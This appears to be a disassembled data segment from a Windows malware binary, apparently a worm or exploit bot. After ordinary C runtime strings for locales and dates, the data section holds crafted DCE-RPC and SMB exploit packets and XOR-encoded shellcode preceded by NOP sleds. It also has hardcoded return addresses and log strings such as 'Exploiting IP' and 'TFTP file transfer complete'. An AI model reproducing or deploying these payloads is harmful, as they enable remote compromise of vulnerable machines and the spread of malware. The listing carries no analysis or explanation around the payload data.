aPrChina_0 db 'pr china',0
align 10h
aNz db 'nz',0
align 4
aNewZealand db 'new-zealand',0
aHongKong db 'hong-kong',0
align 4
aHolland db 'holland',0
aGreatBritain db 'great britain',0
align 4
aEngland db 'england',0
aCzech db 'czech',0
align 4
aChina db 'china',0
align 4
aBritain db 'britain',0 ; DATA XREF: .data:00443C10o
aAmerica db 'america',0 ; DATA XREF: .data:off_443C08o
aUsa db 'usa',0
aUs db 'us',0
align 4
aUk db 'uk',0
align 4
aSwiss db 'swiss',0
align 10h
aSwedishFinland db 'swedish-finland',0
aSpanishVenezue db 'spanish-venezuela',0
align 4
aSpanishUruguay db 'spanish-uruguay',0
aSpanishPuertoR db 'spanish-puerto rico',0
aSpanishPeru db 'spanish-peru',0
align 4
aSpanishParagua db 'spanish-paraguay',0
align 4
aSpanishPanama db 'spanish-panama',0
align 4
aSpanishNicarag db 'spanish-nicaragua',0
align 10h
aSpanishModern db 'spanish-modern',0
align 10h
aSpanishMexican db 'spanish-mexican',0
aSpanishHondura db 'spanish-honduras',0
align 4
aSpanishGuatema db 'spanish-guatemala',0
align 4
aSpanishElSalva db 'spanish-el salvador',0
aSpanishEcuador db 'spanish-ecuador',0
aSpanishDominic db 'spanish-dominican republic',0
align 4
aSpanishCostaRi db 'spanish-costa rica',0
align 4
aSpanishColombi db 'spanish-colombia',0
align 10h
aSpanishChile db 'spanish-chile',0
align 10h
aSpanishBolivia db 'spanish-bolivia',0
aSpanishArgenti db 'spanish-argentina',0
align 4
aPortugueseBraz db 'portuguese-brazilian',0
align 4
aNorwegianNynor db 'norwegian-nynorsk',0
align 10h
aNorwegianBokma db 'norwegian-bokmal',0
align 4
aNorwegian db 'norwegian',0
align 10h
aItalianSwiss db 'italian-swiss',0
align 10h
aIrishEnglish db 'irish-english',0
align 10h
aGermanSwiss db 'german-swiss',0
align 10h
aGermanLuxembou db 'german-luxembourg',0
align 4
aGermanLichtens db 'german-lichtenstein',0
aGermanAustrian db 'german-austrian',0
aFrenchSwiss db 'french-swiss',0
align 4
aFrenchLuxembou db 'french-luxembourg',0
align 4
aFrenchCanadian db 'french-canadian',0
aFrenchBelgian db 'french-belgian',0
align 4
aEnglishUsa db 'english-usa',0
aEnglishUs db 'english-us',0
align 4
aEnglishUk db 'english-uk',0
align 10h
aEnglishTrinida db 'english-trinidad y tobago',0
align 4
aEnglishSouthAf db 'english-south africa',0
align 4
aEnglishNz db 'english-nz',0
align 10h
aEnglishJamaica db 'english-jamaica',0
aEnglishIre db 'english-ire',0
aEnglishCaribbe db 'english-caribbean',0
align 10h
aEnglishCan db 'english-can',0
aEnglishBelize db 'english-belize',0
align 4
aEnglishAus db 'english-aus',0
aEnglishAmerica db 'english-american',0
align 4
aDutchBelgian db 'dutch-belgian',0
align 4
aChineseTraditi db 'chinese-traditional',0
aChineseSingapo db 'chinese-singapore',0
align 4
aChineseSimplif db 'chinese-simplified',0
align 4
aChineseHongkon db 'chinese-hongkong',0
align 4
aChinese db 'chinese',0
aChi db 'chi',0
aChh db 'chh',0
aCanadian db 'canadian',0
align 4
aBelgian db 'belgian',0
aAustralian db 'australian',0
align 4
aAmericanEnglis db 'american-english',0
align 10h
aAmericanEngl_0 db 'american english',0
align 4
aAmerican db 'american',0 ; DATA XREF: .data:off_443CC0o
align 10h
aOcp db 'OCP',0 ; DATA XREF: sub_42B610:loc_42B663o
aAcp db 'ACP',0 ; DATA XREF: sub_42B610+16o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 10h
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTzset_c db 'tzset.c',0 ; DATA XREF: sub_42BAC0+1D1o
aTz db 'TZ',0 ; DATA XREF: sub_42BAC0+35o
align 4
aChsize_c db 'chsize.c',0 ; DATA XREF: sub_42C610+38o
align 10h
aSize0 db 'size >= 0',0 ; DATA XREF: sub_42C610+2Co
align 4
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_42D6C0:loc_42D87Fo
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_42D6C0+19Bo
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_42D6C0+168o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_42D6C0+125o
align 4
aHMmSs db 'H:mm:ss',0 ; DATA XREF: .data:00444090o
aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:0044408Co
aMDYy db 'M/d/yy',0 ; DATA XREF: .data:00444088o
align 10h
aPm_1 db 'PM',0 ; DATA XREF: .data:00444084o
align 4
aAm_0 db 'AM',0 ; DATA XREF: .data:00444080o
align 4
aDecember db 'December',0 ; DATA XREF: .data:0044407Co
align 4
aNovember db 'November',0 ; DATA XREF: .data:00444078o
align 10h
aOctober db 'October',0 ; DATA XREF: .data:00444074o
aSeptember db 'September',0 ; DATA XREF: .data:00444070o
align 4
aAugust db 'August',0 ; DATA XREF: .data:0044406Co
align 4
aJuly db 'July',0 ; DATA XREF: .data:00444068o
align 4
aJune db 'June',0 ; DATA XREF: .data:00444064o
align 4
aApril db 'April',0 ; DATA XREF: .data:0044405Co
align 4
aMarch db 'March',0 ; DATA XREF: .data:00444058o
align 4
aFebruary db 'February',0 ; DATA XREF: .data:00444054o
align 4
aJanuary db 'January',0 ; DATA XREF: .data:00444050o
aDec db 'Dec',0 ; DATA XREF: .data:0044404Co
aNov db 'Nov',0 ; DATA XREF: .data:00444048o
aOct db 'Oct',0 ; DATA XREF: .data:00444044o
aSep db 'Sep',0 ; DATA XREF: .data:00444040o
aAug db 'Aug',0 ; DATA XREF: .data:0044403Co
aJul db 'Jul',0 ; DATA XREF: .data:00444038o
aJun db 'Jun',0 ; DATA XREF: .data:00444034o
aMay db 'May',0 ; DATA XREF: .data:00444030o
; .data:00444060o
aApr db 'Apr',0 ; DATA XREF: .data:0044402Co
aMar db 'Mar',0 ; DATA XREF: .data:00444028o
aFeb db 'Feb',0 ; DATA XREF: .data:00444024o
aJan db 'Jan',0 ; DATA XREF: .data:00444020o
aSaturday db 'Saturday',0 ; DATA XREF: .data:0044401Co
align 4
aFriday db 'Friday',0 ; DATA XREF: .data:00444018o
align 4
aThursday db 'Thursday',0 ; DATA XREF: .data:00444014o
align 10h
aWednesday db 'Wednesday',0 ; DATA XREF: .data:00444010o
align 4
aTuesday db 'Tuesday',0 ; DATA XREF: .data:0044400Co
aMonday db 'Monday',0 ; DATA XREF: .data:00444008o
align 4
aSunday db 'Sunday',0 ; DATA XREF: .data:00444004o
align 4
aSat db 'Sat',0 ; DATA XREF: .data:00444000o
aFri db 'Fri',0 ; DATA XREF: .data:00443FFCo
aThu db 'Thu',0 ; DATA XREF: .data:00443FF8o
aWed db 'Wed',0 ; DATA XREF: .data:00443FF4o
aTue db 'Tue',0 ; DATA XREF: .data:00443FF0o
aMon db 'Mon',0 ; DATA XREF: .data:00443FECo
aSun db 'Sun',0 ; DATA XREF: .data:off_443FE8o
aAP db 'a/p',0 ; DATA XREF: sub_42EB30:loc_42ED23o
aAmPm db 'am/pm',0 ; DATA XREF: sub_42EB30:loc_42ED03o
align 4
aInithelp_c db 'inithelp.c',0 ; DATA XREF: sub_42F050+9Co
; sub_42F050+F1o
align 4
dword_433CD8 dd 0FFFFFFFFh, 42F417h, 42F41Dh, 0FFFFFFFFh, 42F496h, 42F49Ch
; DATA XREF: sub_42F2F0+5o
dword_433CF0 dd 0FFFFFFFFh, 42FF9Dh, 42FFA3h, 0 ; DATA XREF: sub_42FEA0+5o
dword_433D00 dd 0FFFFFFFFh, 43013Fh, 430145h ; DATA XREF: sub_430040+5o
aWtombenv_c db 'wtombenv.c',0 ; DATA XREF: sub_430240+44o
align 4
aA_cmp_c db 'a_cmp.c',0 ; DATA XREF: sub_4302F0+17Fo
aCchcount10Cchc db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0
; DATA XREF: sub_4302F0:loc_430463o
align 10h
dword_433D60 dd 0FFFFFFFFh, 4305CFh, 4305D5h, 0FFFFFFFFh, 43066Dh, 430673h
; DATA XREF: sub_4302F0+5o
aSetenv_c db 'setenv.c',0 ; DATA XREF: sub_430740+B2o
; sub_430740+F2o ...
align 8
dword_433D88 dd 0FFFFFFFFh, 4314CFh, 4314D5h, 0FFFFFFFFh, 431574h, 43157Ah
; DATA XREF: sub_431390+5o
dd 98h dup(0)
_rdata ends
; Section 3. (virtual address 00034000)
; Virtual size : 00060000 ( 393216.)
; Section size in file : 00060000 ( 393216.)
; Offset to raw data for section: 00034000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 434000h
dword_434000 dd 0 ; DATA XREF: sub_41B2D0+29o
dword_434004 dd 0 ; DATA XREF: sub_41B2D0+24o
dword_434008 dd 0 ; DATA XREF: sub_41B2D0+17o
dd offset sub_4210E0
dd offset sub_4249A0
dword_434014 dd 0 ; DATA XREF: sub_41B2D0:loc_41B2E2o
dword_434018 dd 0 ; DATA XREF: sub_41B390+76o
dd offset sub_421210
dword_434020 dd 0 ; DATA XREF: sub_41B390:loc_41B401o
dword_434024 dd 0 ; DATA XREF: sub_41B390+88o
dword_434028 dd 2 dup(0) ; DATA XREF: sub_41B390:loc_41B413o
dword_434030 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_4013F1+E1o
; sub_4013F1+21Bo
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43407C dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_40119E+123o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_4343E0 dd 20h, 0 ; DATA XREF: sub_40119E+136o
dd 20h, 5C005Ch, 0
off_4343F4 dd offset loc_430056+6 ; DATA XREF: sub_40119E+15Do
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
dd 0
dword_434434 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40119E+174o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_40119E+45o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_434544 dd 10016C6h ; DATA XREF: sub_40119E+104o
dword_434548 dd 100139Dh ; DATA XREF: sub_40119E+FBo
off_43454C dd offset dword_49005C ; DATA XREF: sub_401000+Co
dd offset loc_43004F+1
dd 24h
asc_434558: ; DATA XREF: sub_401000+1Co
unicode 0, <\\>,0
align 10h
off_434560 dd offset dword_49005C ; DATA XREF: sub_4010E6+Bo
dd offset loc_43004F+1
dd 24h
asc_43456C: ; DATA XREF: sub_4010E6+16o
unicode 0, <\\>,0
align 4
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4013F1+41o
align 4
aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: sub_4013F1+29Co
align 4
aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_4013F1+2E9o
align 10h
aS: ; DATA XREF: .text:0040183Co
unicode 0, <è>,0
dd 31665800h, 388140C0h, 6D6F6364h, 7881F775h, 30786804h
dd 5EE7572h, 8, 9090E0FFh, 3Fh dup(90909090h), 9090h
dword_4346F4 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: .text:0040191Co
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dd 20h, 0
dd 20h, 5C005Ch, 0
dd offset loc_430056+6
a123456111111_0:
unicode 0, <$\123456111111111111111.doc>,0
align 8
dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
a127_0_0_1Ipc: ; DATA XREF: .text:0040185Bo
unicode 0, <127.0.0.1\IPC$\>
dw 4545h
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 0E9h ; é
db 0F3h, 0FDh, 0FFh
db 0FFh
aEeeeeeeeeeeeee db 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE',0
dword_434D88 dd 7C54144Ch ; DATA XREF: .text:004018AEo
dword_434D8C dd 77A1B496h, 77EDA1F0h, 77A1AFA9h, 41414141h, 77FCC662h
; DATA XREF: .text:00401898o
aTftpFileTran_0 db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: .text:00401992o
align 4
aSExploitingI_0 db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: .text:004019DFo
align 4
dd 4B5B10EBh, 0B966C933h, 34800125h, 0FAE2990Bh, 0EBE805EBh
dd 70FFFFFFh, 99999962h, 0A938FDC6h, 12999999h, 0E91295D9h
dd 0F1123485h, 0F36E1291h, 271C09Dh, 7B999999h, 0ABAAF160h
dd 0EEF19999h, 0CDC6ABEAh, 71128F66h, 71C09DF3h, 9999991Bh
dd 7518607Bh, 99999809h, 9898F1CDh, 0CF669999h, 0C9C9C989h
dd 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h, 0F1989999h, 4B9D999Bh
dd 89F35512h, 0CF66CAC8h, 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh
dd 0CD751AA9h, 0F3BDA514h, 7B32C08Ch, 0BDDD5F64h, 0DD67DD89h
dd 0C510A4BDh, 0C510D1BDh, 0C510D5BDh, 0DD14C9BDh, 0C9CD89BDh
dd 0F3C8C8C8h, 66C8C898h, 66C8A9EFh, 55129DCFh, 0A86666F3h
dd 0CA91CF66h, 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh
dd 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h
dd 5891ED4Fh, 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h
dd 9512FF44h, 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h
dd 66666699h, 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h
dd 0A2657452h, 346C9040h, 0F9336075h, 0E05FE07Eh, 0
dword_434F28 dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh
; DATA XREF: sub_401B9B+156o
; sub_401B9B+212o
dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h
dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h
dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h
dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh
dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh
dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh
dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h
dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh
dword_434FD8 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_401B9B+105o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4350C0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_401FDA+76o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
aLanman1_0 db 'LANMAN1.0',0
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
aLm1_2x002 db 'LM1.2X002',0
dw 4C02h
aAnman2_1 db 'ANMAN2.1',0
db 2, 4Eh, 54h
aLm0_12 db ' LM 0.12',0
align 4
dword_43514C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401FDA+A2o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 8
dword_4351F8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401FDA+C9o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dword_435230 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
db 0
byte_435249 db 3 dup(0) ; DATA XREF: .data:off_43E080o
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_4352D8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401B9B+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_2: ; DATA XREF: sub_401B9B+8Ao
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_43533C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401B9B+2AAo
; .data:004439C8o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_4353A8 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401B9B+2D1o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43544C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401B9B+3B0o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_4354CC dd offset loc_401495 ; DATA XREF: sub_401B9B+3DEo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707C
dd 1, 0
dd 1, 0
